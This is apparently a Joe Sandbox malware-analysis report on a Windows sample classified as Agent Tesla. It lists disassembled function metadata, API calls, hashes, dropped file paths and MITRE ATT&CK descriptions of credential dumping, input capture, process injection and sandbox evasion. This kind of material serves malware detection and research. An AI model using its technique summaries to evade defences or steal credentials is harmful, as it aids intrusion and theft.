Opcode Fuzzy Hash: 7dc961dfd1d259402f3da950f265f6b1531a465481471eb8c5ed05518c82a36b
Instruction Fuzzy Hash: 4F11E932D01138BBCB74DB98EC44BEA73B8AB46720F044021E955EB250D774AD05EB91

Function 00F321D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00F3222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00F32255

Strings

<local>, xrefs: 00F3221D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 7fc5bb8eae7fdce42b24d4c778c0f6a21a7839fefba9e0dbf85cfed258538f73
Instruction ID: f408681472362248874d6a6e4ce2ab8c5508d3a2290f0c37f868ba44faec9614
Opcode Fuzzy Hash: 7fc5bb8eae7fdce42b24d4c778c0f6a21a7839fefba9e0dbf85cfed258538f73
Instruction Fuzzy Hash: AE11C271941225BAEB658F518C88FBBFFA8FF16771F10822AF91986000D3709995E6F1

Function 00F18E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00F18E73

Strings

ComboBox, xrefs: 00F18E12
ListBox, xrefs: 00F18E3D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: a0359968c7f401d9a018bfb42a9f15549e84f3f321401b51823639c87ff93efd
Instruction ID: 749e43778f2de1a3ca79719e48944a8f8d9513ba74bf63f464439df7152637a8
Opcode Fuzzy Hash: a0359968c7f401d9a018bfb42a9f15549e84f3f321401b51823639c87ff93efd
Instruction Fuzzy Hash: 6B016872A01219ABCB04FBE0CD51DFE33A8EF463A0F100619F836A72D1DE365849E751

Function 00F18CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00F18D6B

Strings

ComboBox, xrefs: 00F18D0A
ListBox, xrefs: 00F18D35

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: db3d9efde7d00939fd00e0aac930beaf6e39a13972143c02f80400508232caad
Instruction ID: c39e2c10fbcd9f359873eb8ae9972b2728269eede48b7acab0924ef716a61ef9
Opcode Fuzzy Hash: db3d9efde7d00939fd00e0aac930beaf6e39a13972143c02f80400508232caad
Instruction Fuzzy Hash: 5701F772A41209ABCB14EBE0CE52FFE77A8DF15390F100019B816B32D1DE255E49E672

Function 00F18D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00F18DEE

Strings

ComboBox, xrefs: 00F18D8F
ListBox, xrefs: 00F18DBA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 034ba9fe09997564eb429f78917e039d048e9d2f06c3b0d777edf9391974a51d
Instruction ID: ea7f6415466de5e9f5b430e5e7c5e63350e2406b78344e41dd0748cd73b7bb14
Opcode Fuzzy Hash: 034ba9fe09997564eb429f78917e039d048e9d2f06c3b0d777edf9391974a51d
Instruction Fuzzy Hash: 8901F772A41209A7CB14E6A4CA52FFE77A88F16390F104019B816B3291DE255E4AF672

Function 00F24F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00F24F46
_wcscmp.LIBCMT ref: 00F24F58

Strings

#32770, xrefs: 00F24F52

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 9e543951038ade6e284e3d36e4b38c95dce50f299f20989efc19b7ffaadb96e7
Instruction ID: 0a522983e4b18dfede1d006bca6f1a7c2a2c4a968bcdceacd595fa42b781cc14
Opcode Fuzzy Hash: 9e543951038ade6e284e3d36e4b38c95dce50f299f20989efc19b7ffaadb96e7
Instruction Fuzzy Hash: ACE0D832A0023C6BD7209BA9EC49FA7F7ECEB95B70F000067FD04D7151D960AA458BE1

Function 00EFB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00EFB314: _memset.LIBCMT ref: 00EFB321

Part of subcall function 00EE0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00EFB2F0,?,?,?,00EC100A), ref: 00EE0945

IsDebuggerPresent.KERNEL32(?,?,?,00EC100A), ref: 00EFB2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00EC100A), ref: 00EFB303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00EFB2FE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: e2ba3cc8d2c326b810c4a78140bfdc8191f182fc41750c6c673a18465f36ab3f
Instruction ID: a6022f42369ab7b27022122f4012d85ab3efa02c51099824ea516d97607c23be
Opcode Fuzzy Hash: e2ba3cc8d2c326b810c4a78140bfdc8191f182fc41750c6c673a18465f36ab3f
Instruction Fuzzy Hash: C1E09274601748CFD760DF28D5047527BE4AF50758F01893DE89AD7241EBF5D448DBA1

Function 00F17C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00F17C82

Part of subcall function 00EE3358: _doexit.LIBCMT ref: 00EE3362

Strings

Error allocating memory., xrefs: 00F17C7B
AutoIt, xrefs: 00F17C76

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: ba6f0400f1a82f78be6ca0f1c31547710b6ba86da5dc5fbc871daed16472584c
Instruction ID: 1817883b2bd0284335baec359fa0c453ca0b385a2d336e2ab50472f96ff2322b
Opcode Fuzzy Hash: ba6f0400f1a82f78be6ca0f1c31547710b6ba86da5dc5fbc871daed16472584c
Instruction Fuzzy Hash: C6D05B323C435C36D11532B57D0BFDA76C84F15B52F045426FF0C695E389D295C161E6

Function 00F01935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00F01775

Part of subcall function 00F3BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,00F0195E,?), ref: 00F3BFFE
Part of subcall function 00F3BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00F3C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00F0196D

Strings

WIN_XPe, xrefs: 00F01788

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: f93f2b86cdca5f8a01e329626632b8f548a996bca0e23c76fbf08df798cd6ba5
Instruction ID: 15f978455347da51225496d4dbc8f8b9240b7e9f2204a1ab350b9ce33ecb7382
Opcode Fuzzy Hash: f93f2b86cdca5f8a01e329626632b8f548a996bca0e23c76fbf08df798cd6ba5
Instruction Fuzzy Hash: D3F0327180000CDFCB25DBA0CA88BECBBF8BB18315F640095E506A21A0C7318F89FF60

Function 00F45998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F459AE
PostMessageW.USER32(00000000), ref: 00F459B5

Part of subcall function 00F25244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F252BC

Strings

Shell_TrayWnd, xrefs: 00F459A7

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 220f6a033dd415f6b607a3b056be367a51fe61b5757bc5d6767accfcbb093a96
Instruction ID: e8919e3654ad300d7ef3aef1b4a5838711b2b92cebf82d9d51afb3ce58470d79
Opcode Fuzzy Hash: 220f6a033dd415f6b607a3b056be367a51fe61b5757bc5d6767accfcbb093a96
Instruction Fuzzy Hash: 55D0C9357C0315BBE664AB70AC0FF967A14AB15B50F050825B64AAA1D0D9E4A804D655

Function 00F45964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F4596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00F45981

Part of subcall function 00F25244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F252BC

Strings

Shell_TrayWnd, xrefs: 00F45967

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 6fdb4159e61e7a6da417bd282fdbeb00a145ae4c270771dfa027464d29ed3d06
Instruction ID: a992d8d16b0b5de5a45e715719dbcd8f1070467c2799f83c709f0f811649f121
Opcode Fuzzy Hash: 6fdb4159e61e7a6da417bd282fdbeb00a145ae4c270771dfa027464d29ed3d06
Instruction Fuzzy Hash: D8D0C935784315B7E664AB70AC0FF967A14AB11B50F050825B64EAA1D0D9E49804D654

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report J8V6dFanEo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut9475.tmp

C:\Users\user\AppData\Local\Temp\unrosined

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
J8V6dFanEo.exe

Function 00EC3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00EC49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00EC4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00F29155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00EC3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00EC3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00EC708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00EC3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00EC3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00EC3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

